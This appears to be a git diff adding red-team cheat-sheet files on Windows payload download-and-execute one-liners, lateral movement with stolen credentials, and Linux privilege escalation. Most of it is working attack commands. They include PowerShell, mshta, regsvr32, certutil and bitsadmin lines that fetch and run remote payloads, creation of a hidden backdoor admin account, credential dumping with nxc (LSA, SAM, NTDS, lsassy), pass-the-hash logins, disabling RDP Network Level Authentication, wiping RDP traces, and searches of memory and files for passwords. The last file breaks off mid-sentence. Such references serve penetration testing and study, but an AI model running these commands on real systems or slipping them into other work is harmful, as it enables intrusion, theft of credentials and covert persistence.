C:\Users\\AppData\Local\Microsoft\Windows\Temporary Internet Files\ +- C:\Users\\AppData\Local\Microsoft\Windows\INetCache\IE\ +- C:\Windows\ServiceProfiles\LocalService\AppData\Local\Temp\TfsStore\Tfs_DAV + +## Powershell + +From an HTTP server + +```powershell +powershell -exec bypass -c "(New-Object Net.WebClient).Proxy.Credentials=[Net.CredentialCache]::DefaultNetworkCredentials;iwr('http://webserver/payload.ps1')|iex" + +# Download only +(New-Object System.Net.WebClient).DownloadFile("http://10.10.10.10/PowerUp.ps1", "C:\Windows\Temp\PowerUp.ps1") +Invoke-WebRequest "http://10.10.10.10/binary.exe" -OutFile "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\binary.exe" + +# Download and run Rubeus, with arguments +$data = (New-Object System.Net.WebClient).DownloadData('http://10.10.10.10/Rubeus.exe') +$assem = [System.Reflection.Assembly]::Load($data) +[Rubeus.Program]::Main("s4u /user:web01$ /rc4:1d77f43d9604e79e5626c6905705801e /impersonateuser:administrator /msdsspn:cifs/file01 /ptt".Split()) + +# Execute a specific method from an assembly +$data = (New-Object System.Net.WebClient).DownloadData('http://10.10.10.10/lib.dll') +$assem = [System.Reflection.Assembly]::Load($data) +$class = $assem.GetType("ClassLibrary1.Class1") +$method = $class.GetMethod("runner") +$method.Invoke(0, $null) +``` + +From a Webdav server + +```powershell +powershell -exec bypass -f \\webdavserver\folder\payload.ps1 +``` + +## Cmd + +```powershell +cmd.exe /k < \\webdavserver\folder\batchfile.txt +``` + +## Cscript / Wscript + +```powershell +cscript //E:jscript \\webdavserver\folder\payload.txt +``` + +## Mshta + +```powershell +mshta vbscript:Close(Execute("GetObject(""script:http://webserver/payload.sct"")")) +``` + +```powershell +mshta http://webserver/payload.hta +``` + +```powershell +mshta \\webdavserver\folder\payload.hta +``` + +## Rundll32 + +```powershell +rundll32 \\webdavserver\folder\payload.dll,entrypoint +``` + +```powershell +rundll32.exe javascript:"\..\mshtml,RunHTMLApplication";o=GetObject("script:http://webserver/payload.sct");window.close(); +``` + +## Regasm / Regsvc @subTee + +```powershell +C:\Windows\Microsoft.NET\Framework64\v4.0.30319\regasm.exe /u \\webdavserver\folder\payload.dll +``` + +## Regsvr32 @subTee + +```powershell +regsvr32 /u /n /s /i:http://webserver/payload.sct scrobj.dll +``` + +```powershell +regsvr32 /u /n /s /i:\\webdavserver\folder\payload.sct scrobj.dll +``` + +## Odbcconf + +```powershell +odbcconf /s /a {regsvr \\webdavserver\folder\payload_dll.txt} +``` + +## Msbuild + +```powershell +cmd /V /c "set MB="C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe" & !MB! /noautoresponse /preprocess \\webdavserver\folder\payload.xml > payload.xml & !MB! payload.xml" +``` + +## Certutil + +```powershell +certutil -urlcache -split -f http://webserver/payload.b64 payload.b64 & certutil -decode payload.b64 payload.dll & C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil /logfile= /LogToConsole=false /u payload.dll +``` + +```powershell +certutil -urlcache -split -f http://webserver/payload.b64 payload.b64 & certutil -decode payload.b64 payload.exe & payload.exe +``` + +## Bitsadmin + +```powershell +bitsadmin /transfer mydownloadjob /download /priority normal http:///xyz.exe C:\\Users\\%USERNAME%\\AppData\\local\\temp\\xyz.exe +``` + +## References + +- [arno0x0x - Windows oneliners to download remote payload and execute arbitrary code](https://arno0x0x.wordpress.com/2017/11/20/windows-oneliners-to-download-remote-payload-and-execute-arbitrary-code/) diff --git a/personas/_shared/internal-allthethings/redteam/access/windows-using-credentials.md b/personas/_shared/internal-allthethings/redteam/access/windows-using-credentials.md new file mode 100644 index 0000000..7a4598d --- /dev/null +++ b/personas/_shared/internal-allthethings/redteam/access/windows-using-credentials.md @@ -0,0 +1,498 @@ +# Windows - Using credentials + +## Summary + +* [Get Credentials](#get-credentials) + * [Create Credential](#create-credential) + * [Looting Credentials](#looting-credentials) + * [Guest Credential](#guest-credential) + * [Retail Credential](#retail-credential) + * [Sandbox Credential](#sandbox-credential) +* [NetExec](#netexec) +* [Impacket](#impacket) + * [PSExec](#psexec) + * [WMIExec](#wmiexec) + * [SMBExec](#smbexec) +* [RDP Remote Desktop Protocol](#rdp-remote-desktop-protocol) +* [Powershell Remoting Protocol](#powershell-remoting-protocol) + * [Powershell Credentials](#powershell-credentials) + * [Powershell PSSESSION](#powershell-pssession) + * [Powershell Secure String](#powershell-secure-string) +* [SSH Protocol](#ssh-protocol) +* [WinRM Protocol](#winrm-protocol) +* [WMI Protocol](#wmi-protocol) +* [Other Methods](#other-methods) + * [PsExec - Sysinternals](#psexec---sysinternals) + * [Mount a remote share](#mount-a-remote-share) + * [Run as another user](#run-as-another-user) + +## Get Credentials + +### Create Credential + +```powershell +net user hacker Hcker_12345678* /add /Y +net localgroup administrators hacker /add +net localgroup "Remote Desktop Users" hacker /add # RDP access +net localgroup "Backup Operators" hacker /add # Full access to files +net group "Domain Admins" hacker /add /domain + +# enable a domain user account +net user hacker /ACTIVE:YES /domain + +# prevent users from changing their password +net user username /Passwordchg:No + +# prevent the password to expire +net user hacker /Expires:Never + +# create a machine account (not shown in net users) +net user /add evilbob$ evilpassword + +# homoglyph Aԁmіnistratοr (different of Administrator) +Aԁmіnistratοr +``` + +Some info about your user + +```powershell +net user /dom +net user /domain +``` + +### Looting Credentials + +```ps1 +nxc smb 10.10.10.10 -u username -p password -d domain --lsa +nxc smb 10.10.10.10 -u username -p password -d domain --sam +nxc smb 10.10.10.10 -u username -p password -d domain --dpapi nosystem +nxc smb 10.10.10.10 -u username -p password -d domain --dpapi cookies +nxc smb 10.10.10.10 -u username -p password -d domain --dpapi +nxc smb 10.10.10.10 -u username -p password -d domain --sccm +nxc smb 10.10.10.10 -u username -p password -d domain --ntds +nxc smb 10.10.10.10 -u username -p password -d domain -M lsassy +nxc smb 10.10.10.10 -u username -p password -d domain -M nanodump +nxc smb 10.10.10.10 -u username -p password -d domain -M veeam +nxc smb 10.10.10.10 -u username -p password -d domain -M winscp +nxc smb 10.10.10.10 -u username -p password -d domain -M putty +nxc smb 10.10.10.10 -u username -p password -d domain -M vnc +nxc smb 10.10.10.10 -u username -p password -d domain -M mremoteng +nxc smb 10.10.10.10 -u username -p password -d domain -M rdcman +``` + +### Guest Credential + +By default every Windows machine comes with a Guest account, its default password is empty. + +```powershell +Username: Guest +Password: [EMPTY] +NT Hash: 31d6cfe0d16ae931b73c59d7e0c089c0 +``` + +### Retail Credential + +Retail Credential [@m8urnett on Twitter](https://twitter.com/m8urnett/status/1003835660380172289) + +when you run Windows in retail demo mode, it creates a user named Darrin DeYoung and an admin RetailAdmin + +```powershell +Username: RetailAdmin +Password: trs10 +``` + +### Sandbox Credential + +WDAGUtilityAccount - [@never_released on Twitter](https://twitter.com/never_released/status/1081569133844676608) + +Starting with Windows 10 version 1709 (Fall Creators Update), it is part of Windows Defender Application Guard + +```powershell +\\windowssandbox +Username: wdagutilityaccount +Password: pw123 +``` + +## netexec + +Using [mpgn/netexec](https://github.com/Pennyw0rth/NetExec) + +* netexec supports many protocols + + ```powershell + netexec ldap 192.168.1.100 -u Administrator -H ":31d6cfe0d16ae931b73c59d7e0c089c0" + netexec mssql 192.168.1.100 -u Administrator -H ":31d6cfe0d16ae931b73c59d7e0c089c0" + netexec rdp 192.168.1.100 -u Administrator -H ":31d6cfe0d16ae931b73c59d7e0c089c0" + netexec smb 192.168.1.100 -u Administrator -H ":31d6cfe0d16ae931b73c59d7e0c089c0" + netexec winrm 192.168.1.100 -u Administrator -H ":31d6cfe0d16ae931b73c59d7e0c089c0" + ``` + +* netexec works with password, NT hash and Kerberos authentication + + ```powershell + netexec smb 192.168.1.100 -u Administrator -p "Password123?" # Password + netexec smb 192.168.1.100 -u Administrator -H ":31d6cfe0d16ae931b73c59d7e0c089c0" # NT Hash + export KRB5CCNAME=/tmp/kerberos/admin.ccache; netexec smb 192.168.1.100 -u admin --use-kcache # Kerberos + ``` + +## Impacket + +From [fortra/impacket](https://github.com/fortra/impacket) (:warning: renamed to impacket-xxxxx in Kali) +:warning: `get` / `put` for wmiexec, psexec, smbexec, and dcomexec are changing to `lget` and `lput`. +:warning: French characters might not be correctly displayed on your output, use `-codec ibm850` to fix this. +:warning: By default, Impacket's scripts are stored in the examples folder: `impacket/examples/psexec.py`. + +All Impacket's *exec scripts are not equal, they will target services hosted on multiples ports. +The following table summarize the port used by each scripts. + +| Method | Port Used | Admin Required | +|-------------|---------------------------------------|----------------| +| psexec.py | tcp/445 | Yes | +| smbexec.py | tcp/445 | No | +| atexec.py | tcp/445 | No | +| dcomexec.py | tcp/135, tcp/445, tcp/49751 (DCOM) | No | +| wmiexec.py | tcp/135, tcp/445, tcp/50911 (Winmgmt) | Yes | + +* `psexec`: equivalent of Windows PSEXEC using RemComSvc binary. + + ```ps1 + psexec.py DOMAIN/username:password@10.10.10.10 + ``` + +* `smbexec`: a similar approach to PSEXEC w/o using RemComSvc + + ```ps1 + smbexec.py DOMAIN/username:password@10.10.10.10 + ``` + +* `atexec`: executes a command on the target machine through the Task Scheduler service and returns the output of the executed command. + + ```ps1 + atexec.py DOMAIN/username:password@10.10.10.10 + ``` + +* `dcomexec`: a semi-interactive shell similar to wmiexec.py, but using different DCOM endpoints + + ```ps1 + dcomexec.py DOMAIN/username:password@10.10.10.10 + ``` + +* `wmiexec`: a semi-interactive shell, used through Windows Management Instrumentation. First it uses ports tcp/135 and tcp/445, and ultimately it communicates with the Winmgmt Windows service over dynamically allocated high port such as tcp/50911. + + ```ps1 + wmiexec.py DOMAIN/username:password@10.10.10.10 + wmiexec.py DOMAIN/username@10.10.10.10 -hashes aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0 + ``` + +To allow Non-RID 500 local admin accounts performing Wmi or PsExec, execute: +`reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v LocalAccountTokenFilterPolicy /t REG_DWORD /f /d 1` +To prevent RID 500 from being able to WmiExec or PsExec, execute: +`reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v FilterAdministratorToken /t REG_DWORD /f /d 1` + +### PSExec + +Instead of uploading `psexeccsv` service binary, it uploads to `ADMIN$` a service binary with an arbitrary name. +PSExec default [kavika13/RemCom](https://github.com/kavika13/RemCom) binary is 10 years old, you might want to rebuild it and obfuscate it to reduce detections ([snovvcrash/RemComObf.sh](https://gist.github.com/snovvcrash/123945e8f06c7182769846265637fedb)) + +Use a custom binary and service name with : `psexec.py Administrator:Password123@IP -service-name customservicename -remote-binary-name custombin.exe` + +Also a custom file can be specified with the parameter : `-file /tmp/RemComSvcCustom.exe`. +You need to update the pipe name to match "Custom_communication" in the line 163 + +```py +162 tid = s.connectTree('IPC$') +163 fid_main = self.openPipe(s,tid,r'\RemCom_communicaton',0x12019f) +``` + +Alternatively you can use the fork [ThePorgs/impacket](https://github.com/ThePorgs/impacket/pull/3/files). + +### WMIExec + +Use a non default share `-share SHARE` to write the output to reduce the detection. +By default this command is executed: + +```ps1 +cmd.exe /Q /c cd 1> \\127.0.0.1\ADMIN$\__RANDOM 2>&1 +``` + +### SMBExec + +It creates a service with the name `BTOBTO` ([smbexec.py#L59](https://github.com/fortra/impacket/blob/master/examples/smbexec.py#L59)) and transfers commands from the attacker in a bat file in `%TEMP/execute.bat` ([smbexec.py#L56](https://github.com/fortra/impacket/blob/master/examples/smbexec.py#L56)). + +```py +OUTPUT_FILENAME = '__output' +BATCH_FILENAME = 'execute.bat' +SMBSERVER_DIR = '__tmp' +DUMMY_SHARE = 'TMP' +SERVICE_NAME = 'BTOBTO' +``` + +It will create a new service every time we execute a command. It will also generate an Event 7045. + +By default this command is executed: `%COMSPEC% /Q /c echo dir > \\127.0.0.1\C$\__output 2>&1 > %TEMP%\execute.bat & %COMSPEC% /Q /c %TEMP%\execute.bat & del %TEMP%\execute.bat`, where `%COMSPEC%` points to `C:\WINDOWS\system32\cmd.exe`. + +```py +class RemoteShell(cmd.Cmd): + def __init__(self, share, rpc, mode, serviceName, shell_type): + cmd.Cmd.__init__(self) + self.__share = share + self.__mode = mode + self.__output = '\\\\127.0.0.1\\' + self.__share + '\\' + OUTPUT_FILENAME + self.__batchFile = '%TEMP%\\' + BATCH_FILENAME + self.__outputBuffer = b'' + self.__command = '' + self.__shell = '%COMSPEC% /Q /c ' + self.__shell_type = shell_type + self.__pwsh = 'powershell.exe -NoP -NoL -sta -NonI -W Hidden -Exec Bypass -Enc ' + self.__serviceName = serviceName +``` + +## RDP Remote Desktop Protocol + +:warning: **NOTE**: You may need to enable RDP and disable NLA and fix CredSSP errors. + +* Enable RDP + + ```powershell + PS C:\> reg add "HKLM\System\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0x00000000 /f + PS C:\> netsh firewall set service remoteadmin enable + PS C:\> netsh firewall set service remotedesktop enable + + # Alternative + C:\> psexec \\machinename reg add "hklm\system\currentcontrolset\control\terminal server" /f /v fDenyTSConnections /t REG_DWORD /d 0 + root@payload$ netexec 192.168.1.100 -u Jaddmon -H 5858d47a41e40b40f294b3100bea611f -M rdp -o ACTION=enable + ``` + +* Fix **CredSSP** errors + + ```ps1 + reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f + reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v UserAuthentication /t REG_DWORD /d 0 /f + ``` + +**Network Level Authentication** requires the user to authenticate before a remote desktop session is fully established. This happens before the remote desktop interface is loaded, reducing the risk of certain attacks. + +* Take screenshot when NLA is disabled + + ```ps1 + netexec rdp 10.10.10.10 -u user -p pass --nla-screenshot + ``` + +* Disable Network Level Authentication (NLA) + + ```ps1 + PS > (Get-WmiObject -class "Win32_TSGeneralSetting" -Namespace root\cimv2\terminalservices -ComputerName "PC01" -Filter "TerminalName='RDP-tcp'").UserAuthenticationRequired + PS > (Get-WmiObject -class "Win32_TSGeneralSetting" -Namespace root\cimv2\terminalservices -ComputerName "PC01" -Filter "TerminalName='RDP-tcp'").SetUserAuthenticationRequired(0) + ``` + +On Windows, the native Remote Desktop client is `mstsc.exe`. +When launched with the `/public` switch, RDP runs in Public Mode, which uses temporary, non-persistent session settings. + +```ps1 +mstsc /public /v:server01 +``` + +Public Mode is designed for shared systems, jump hosts, and security-sensitive environments, where leaving local artifacts or cached credentials would present an operational risk. + +When RDP is launched in Public Mode, the client will: + +* Not save credentials +* Not use cached credentials +* Not save connection history +* Not load local RDP settings (printers, drives, clipboard, etc.) +* Not store passwords in Credential Manager + +If RDP was launched without /public, local artifacts may persist. +These can be manually removed using the following PowerShell commands. + +```ps1 +# Remove Stored RDP Credentials +cmdkey /list | ? { $_ -Match "TERMSRV/" } | % { $_ -Replace ".*: " } | % { cmdkey /delete:$_ } + +# Remove Cached Bitmaps and Client Data +Remove-Item -Path "$Env:LocalAppData\Microsoft\Terminal Server Client\Cache" -Recurse -ErrorAction SilentlyContinue + +# Remove RDP Connection History and Device Mappings +Remove-Item -Path "HKCU:\Software\Microsoft\Terminal Server Client\Default" -Force -ErrorAction SilentlyContinue +Remove-Item -Path "HKCU:\Software\Microsoft\Terminal Server Client\Servers" -Recurse -Force -ErrorAction SilentlyContinue +Remove-Item -Path "HKCU:\Software\Microsoft\Terminal Server Client\LocalDevices" -Recurse -Force -ErrorAction SilentlyContinue +``` + +Abuse RDP protocol to execute commands remotely with the following commands: + +* [Pennyw0rth/netexec](https://github.com/Pennyw0rth/NetExec) + + ```ps1 + netexec rdp 10.10.10.10 -u user -p pass + ``` + +* [rdesktop](http://www.rdesktop.org/) + + ```powershell + root@payload$ rdesktop -d DOMAIN -u username -p password 10.10.10.10 -g 70 -r disk:share=/home/user/myshare + root@payload$ rdesktop -u username -p password -g 70% -r disk:share=/tmp/myshare 10.10.10.10 + # -g : the screen will take up 70% of your actual screen size + # -r disk:share : sharing a local folder during a remote desktop session + ``` + +* [freerdp](https://www.freerdp.com) + + ```powershell + root@payload$ xfreerdp /v:10.0.0.1 /u:'Username' /p:'Password123!' +clipboard /cert-ignore /size:1366x768 /smart-sizing + root@payload$ xfreerdp /v:10.0.0.1 /u:username # password will be asked + + # pass the hash using Restricted Admin, need an admin account not in the "Remote Desktop Users" group. + # pass the hash works for Server 2012 R2 / Win 8.1+ + # require freerdp2-x11 freerdp2-shadow-x11 packages instead of freerdp-x11 + root@payload$ xfreerdp /v:10.0.0.1 /u:username /d:domain /pth:88a405e17c0aa5debbc9b5679753939d + ``` + +* [0xthirteen/SharpRDP](https://github.com/0xthirteen/SharpRDP) + + ```powershell + PS C:\> SharpRDP.exe computername=target.domain command="C:\Temp\file.exe" username=domain\user password=password + ``` + +## Powershell Remoting Protocol + +### Powershell Credentials + +```ps1 +PS> $pass = ConvertTo-SecureString 'supersecurepassword' -AsPlainText -Force +PS> $cred = New-Object System.Management.Automation.PSCredential ('DOMAIN\Username', $pass) +``` + +### Powershell PSSESSION + +* Enable PSRemoting on the host + + ```ps1 + Enable-PSRemoting -Force + net start winrm + + # Add the machine to the trusted hosts + Set-Item wsman:\localhost\client\trustedhosts * + Set-Item WSMan:\localhost\Client\TrustedHosts -Value "10.10.10.10" + ``` + +* Execute a single command + + ```powershell + PS> Invoke-Command -ComputerName DC -Credential $cred -ScriptBlock { whoami } + PS> Invoke-Command -computername DC01,CLIENT1 -scriptBlock { Get-Service } + PS> Invoke-Command -computername DC01,CLIENT1 -filePath c:\Scripts\Task.ps1 + ``` + +* Interact with a PS Session + + ```powershell + PS> Enter-PSSession -computerName DC01 + [DC01]: PS> + + # one-to-one execute scripts and commands + PS> $Session = New-PSSession -ComputerName CLIENT1 + PS> Invoke-Command -Session $Session -scriptBlock { $test = 1 } + PS> Invoke-Command -Session $Session -scriptBlock { $test } + 1 + ``` + +### Powershell Secure String + +```ps1 +$aesKey = (49, 222, 253, 86, 26, 137, 92, 43, 29, 200, 17, 203, 88, 97, 39, 38, 60, 119, 46, 44, 219, 179, 13, 194, 191, 199, 78, 10, 4, 40, 87, 159) +$secureObject = ConvertTo-SecureString -String "76492d11167[SNIP]MwA4AGEAYwA1AGMAZgA=" -Key $aesKey +$decrypted = [System.Runtime.InteropServices.Marshal]::SecureStringToBSTR($secureObject) +$decrypted = [System.Runtime.InteropServices.Marshal]::PtrToStringAuto($decrypted) +$decrypted +``` + +## WinRM Protocol + +**Requirements**: + +* Port **5985** or **5986** open. +* Default endpoint is **/wsman** + +If WinRM is disabled on the system you can enable it using: `winrm quickconfig` + +The easiest way to interact over WinRM on Linux is with [Hackplayers/evil-winrm](https://github.com/Hackplayers/evil-winrm) + +```powershell +evil-winrm -i IP -u USER [-s SCRIPTS_PATH] [-e EXES_PATH] [-P PORT] [-p PASS] [-H HASH] [-U URL] [-S] [-c PUBLIC_KEY_PATH ] [-k PRIVATE_KEY_PATH ] [-r REALM] +evil-winrm -i 10.0.0.20 -u username -H HASH +evil-winrm -i 10.0.0.20 -u username -p password -r domain.local + +*Evil-WinRM* PS > Bypass-4MSI +*Evil-WinRM* PS > IEX([Net.Webclient]::new().DownloadString("http://127.0.0.1/PowerView.ps1")) +``` + +## WMI Protocol + +```powershell +PS C:\> wmic /node:target.domain /user:domain\user /password:password process call create "C:\Windows\System32\calc.exe” +``` + +## SSH Protocol + +:warning: You cannot pass the hash to SSH + +* Connect using username/password of a Domain User + + ```ps1 + ssh -l user@domain 192.168.1.1 + ``` + +* Connect with a Kerberos ticket + + ```ps1 + cp user.ccache /tmp/krb5cc_1045 + ssh -o GSSAPIAuthentication=yes user@domain.local -vv + ``` + +## Other Methods + +### PsExec - Sysinternals + +From Windows - [Sysinternals](https://learn.microsoft.com/en-us/sysinternals/) + +```powershell +PsExec.exe \\srv01.domain.local -u DOMAIN\username -p password cmd.exe + +# switch admin user to NT Authority/System +PsExec.exe \\srv01.domain.local -u DOMAIN\username -p password cmd.exe -s +``` + +Sysinternals can be installed using the Windows Package Manager or downloaded from [live.sysinternals.com](https://live.sysinternals.com/). + +```ps1 +winget install --id Microsoft.Sysinternals.Suite +winget install Microsoft.sysinternals --accept-source-agreements --accept-package-agreements +``` + +### Mount a remote share + +```powershell +net use \\srv01.domain.local /user:DOMAIN\username password C$ +``` + +### Run as another user + +Runas is a command-line tool that is built into Windows Vista. +Allows a user to run specific tools and programs with different permissions than the user's current logon provides. + +```powershell +runas /netonly /user:DOMAIN\username "cmd.exe" +runas /noprofil /netonly /user:DOMAIN\username cmd.exe +``` + +## References + +* [Ropnop - Using credentials to own Windows boxes](https://blog.ropnop.com/using-credentials-to-own-windows-boxes/) +* [Ropnop - Using credentials to own Windows boxes Part 2](https://blog.ropnop.com/using-credentials-to-own-windows-boxes-part-2-psexec-and-services/) +* [Gaining Domain Admin from Outside Active Directory](https://markitzeroday.com/pass-the-hash/crack-map-exec/2018/03/04/da-from-outside-the-domain.html) +* [Impacket Remote code execution on Windows from Linux by Vry4n_ - Jun 20, 2021](https://vk9-sec.com/impacket-remote-code-execution-rce-on-windows-from-linux/) +* [Impacket Exec Commands Cheat Sheet - 13cubed](https://www.13cubed.com/downloads/impacket_exec_commands_cheat_sheet.pdf) +* [SMB protocol cheatsheet - aas-s3curity](https://aas-s3curity.gitbook.io/cheatsheet/internalpentest/active-directory/post-exploitation/lateral-movement/smb-protocol) +* [Windows Lateral Movement with smb, psexec and alternatives - nv2lt](https://nv2lt.github.io/windows/smb-psexec-smbexec-winexe-how-to/) +* [PsExec.exe IOCs and Detection - Threatexpress](https://threatexpress.com/redteaming/tool_ioc/psexec/) +* [A Dive on SMBEXEC - dmcxblue - 8th Feb 2021](https://0x00sec.org/t/a-dive-on-smbexec/24961) diff --git a/personas/_shared/internal-allthethings/redteam/escalation/linux-privilege-escalation.md b/personas/_shared/internal-allthethings/redteam/escalation/linux-privilege-escalation.md new file mode 100644 index 0000000..42e3789 --- /dev/null +++ b/personas/_shared/internal-allthethings/redteam/escalation/linux-privilege-escalation.md @@ -0,0 +1,868 @@ +# Linux - Privilege Escalation + +## Summary + +* [Tools](#tools) +* [Checklist](#checklists) +* [Looting for passwords](#looting-for-passwords) + * [Files containing passwords](#files-containing-passwords) + * [Old passwords in /etc/security/opasswd](#old-passwords-in-etcsecurityopasswd) + * [Last edited files](#last-edited-files) + * [In memory passwords](#in-memory-passwords) + * [Find sensitive files](#find-sensitive-files) +* [SSH Key](#ssh-key) + * [Sensitive files](#sensitive-files) + * [SSH Key Predictable PRNG (Authorized_Keys) Process](#ssh-key-predictable-prng-authorized_keys-process) +* [Scheduled tasks](#scheduled-tasks) + * [Cron jobs](#cron-jobs) + * [Systemd timers](#systemd-timers) +* [SUID](#suid) + * [Find SUID binaries](#find-suid-binaries) + * [Create a SUID binary](#create-a-suid-binary) +* [Capabilities](#capabilities) + * [List capabilities of binaries](#list-capabilities-of-binaries) + * [Edit capabilities](#edit-capabilities) + * [Interesting capabilities](#interesting-capabilities) +* [SUDO](#sudo) + * [NOPASSWD](#nopasswd) + * [LD_PRELOAD and NOPASSWD](#ld_preload-and-nopasswd) + * [Doas](#doas) + * [sudo_inject](#sudo_inject) + * [CVE-2019-14287](#cve-2019-14287) +* [GTFOBins](#gtfobins) +* [Wildcard](#wildcard) +* [Writable files](#writable-files) + * [Writable /etc/passwd](#writable-etcpasswd) + * [Writable /etc/sudoers](#writable-etcsudoers) +* [NFS Root Squashing](#nfs-root-squashing) +* [Shared Library](#shared-library) + * [ldconfig](#ldconfig) + * [RPATH](#rpath) +* [Groups](#groups) + * [Docker](#docker) + * [LXC/LXD](#lxclxd) +* [Hijack TMUX session](#hijack-tmux-session) +* [Kernel Exploits](#kernel-exploits) + * [CVE-2022-0847 (DirtyPipe)](#cve-2022-0847-dirtypipe) + * [CVE-2016-5195 (DirtyCow)](#cve-2016-5195-dirtycow) + * [CVE-2010-3904 (RDS)](#cve-2010-3904-rds) + * [CVE-2010-4258 (Full Nelson)](#cve-2010-4258-full-nelson) + * [CVE-2012-0056 (Mempodipper)](#cve-2012-0056-mempodipper) + +## Tools + +There are many scripts that you can execute on a linux machine which automatically enumerate sytem information, processes, and files to locate privilege escalation vectors. +Here are a few: + +* [LinPEAS - Linux Privilege Escalation Awesome Script](https://github.com/carlospolop/PEASS-ng/tree/master/linPEAS) + + ```powershell + wget "https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh" -O linpeas.sh + curl "https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh" -o linpeas.sh + ./linpeas.sh -a #all checks - deeper system enumeration, but it takes longer to complete. + ./linpeas.sh -s #superfast & stealth - This will bypass some time consuming checks. In stealth mode Nothing will be written to the disk. + ./linpeas.sh -P #Password - Pass a password that will be used with sudo -l and bruteforcing other users + ``` + +* [LinuxSmartEnumeration - Linux enumeration tools for pentesting and CTFs](https://github.com/diego-treitos/linux-smart-enumeration) + + ```powershell + wget "https://raw.githubusercontent.com/diego-treitos/linux-smart-enumeration/master/lse.sh" -O lse.sh + curl "https://raw.githubusercontent.com/diego-treitos/linux-smart-enumeration/master/lse.sh" -o lse.sh + ./lse.sh -l1 # shows interesting information that should help you to privesc + ./lse.sh -l2 # dump all the information it gathers about the system + ``` + +* [LinEnum - Scripted Local Linux Enumeration & Privilege Escalation Checks](https://github.com/rebootuser/LinEnum) + + ```powershell + ./LinEnum.sh -s -k keyword -r report -e /tmp/ -t + ``` + +* [BeRoot - Privilege Escalation Project - Windows / Linux / Mac](https://github.com/AlessandroZ/BeRoot) +* [linuxprivchecker.py - a Linux Privilege Escalation Check Script](https://github.com/sleventyeleven/linuxprivchecker) +* [unix-privesc-check - Automatically exported from code.google.com/p/unix-privesc-check](https://github.com/pentestmonkey/unix-privesc-check) +* [Privilege Escalation through sudo - Linux](https://github.com/TH3xACE/SUDO_KILLER) + +## Checklists + +* Kernel and distribution release details +* System Information: + * Hostname + * Networking details: + * Current IP + * Default route details + * DNS server information +* User Information: + * Current user details + * Last logged on users + * Shows users logged onto the host + * List all users including uid/gid information + * List root accounts + * Extracts password policies and hash storage method information + * Checks umask value + * Checks if password hashes are stored in /etc/passwd + * Extract full details for 'default' uid's such as 0, 1000, 1001 etc + * Attempt to read restricted files i.e. /etc/shadow + * List current users history files (i.e .bash_history, .nano_history, .mysql_history , etc.) + * Basic SSH checks +* Privileged access: + * Which users have recently used sudo + * Determine if /etc/sudoers is accessible + * Determine if the current user has Sudo access without a password + * Are known 'good' breakout binaries available via Sudo (i.e. nmap, vim etc.) + * Is root's home directory accessible + * List permissions for /home/ +* Environmental: + * Display current $PATH + * Displays env information +* Jobs/Tasks: + * List all cron jobs + * Locate all world-writable cron jobs + * Locate cron jobs owned by other users of the system + * List the active and inactive systemd timers +* Services: + * List network connections (TCP & UDP) + * List running processes + * Lookup and list process binaries and associated permissions + * List inetd.conf/xined.conf contents and associated binary file permissions + * List init.d binary permissions +* Version Information (of the following): + * Sudo + * MYSQL + * Postgres + * Apache + * Checks user config + * Shows enabled modules + * Checks for htpasswd files + * View www directories +* Default/Weak Credentials: + * Checks for default/weak Postgres accounts + * Checks for default/weak MYSQL accounts +* Searches: + * Locate all SUID/GUID files + * Locate all world-writable SUID/GUID files + * Locate all SUID/GUID files owned by root + * Locate 'interesting' SUID/GUID files (i.e. nmap, vim etc) + * Locate files with POSIX capabilities + * List all world-writable files + * Find/list all accessible *.plan files and display contents + * Find/list all accessible *.rhosts files and display contents + * Show NFS server details + * Locate *.conf and*.log files containing keyword supplied at script runtime + * List all *.conf files located in /etc + * Locate mail +* Platform/software specific tests: + * Checks to determine if we're in a Docker container + * Checks to see if the host has Docker installed + * Checks to determine if we're in an LXC container + +## Looting for passwords + +### Files containing passwords + +```powershell +grep --color=auto -rnw '/' -ie "PASSWORD" --color=always 2> /dev/null +find . -type f -exec grep -i -I "PASSWORD" {} /dev/null \; +``` + +### Old passwords in /etc/security/opasswd + +The `/etc/security/opasswd` file is used also by pam_cracklib to keep the history of old passwords so that the user will not reuse them. + +:warning: Treat your opasswd file like your /etc/shadow file because it will end up containing user password hashes + +### Last edited files + +Files that were edited in the last 10 minutes + +```powershell +find / -mmin -10 2>/dev/null | grep -Ev "^/proc" +``` + +### In memory passwords + +**Memory**: + +```powershell +strings /dev/mem -n10 | grep -i PASS +``` + +**Core Dump**: + +```ps1 +# Find PID +ps -eo pid,command + +# Core dump PID +gcore -o dumpfile + +# Search for passwords +strings -n 5 dumpfile | grep -i pass +``` + +### Find sensitive files + +```powershell +$ locate password | more +/boot/grub/i386-pc/password.mod +/etc/pam.d/common-password +/etc/pam.d/gdm-password +/etc/pam.d/gdm-password.original +/lib/live/config/0031-root-password +... +``` + +### Preseed + +A preseed.cfg file is used in Debian-based Linux distributions to automate the installation process. It contains answers to the questions that the installer normally asks, allowing for a fully unattended installation. This file can specify configurations such as partitioning schemes, package selections, network settings, and user accounts. + +* Root password in clear text + + ```ps1 + d-i passwd/root-password password root_password_123 + d-i passwd/root-password-again password root_password_123 + ``` + +* Root password encrypted using an MD5 hash + + ```ps1 + d-i passwd/root-password-crypted password $1$DhSfFtNS$v/Eb.KsQkTq8nKIX1.B8n. + ``` + +* Normal user's password in clear text + + ```ps1 + d-i passwd/user-password password my_password_123 + d-i passwd/user-password-again password my_password_123 + ``` + +* Normal user's password encrypted using an MD5 hash + + ```ps1 + d-i passwd/user-password-crypted password $1$DgJMNO1/$BqfY2C5y00p0yhpApPmmJ1 + ``` + +## SSH Key + +### Sensitive files + +```ps1 +find / -name authorized_keys 2> /dev/null +find / -name id_rsa 2> /dev/null +``` + +### SSH Key Predictable PRNG (Authorized_Keys) Process + +This module describes how to attempt to use an obtained 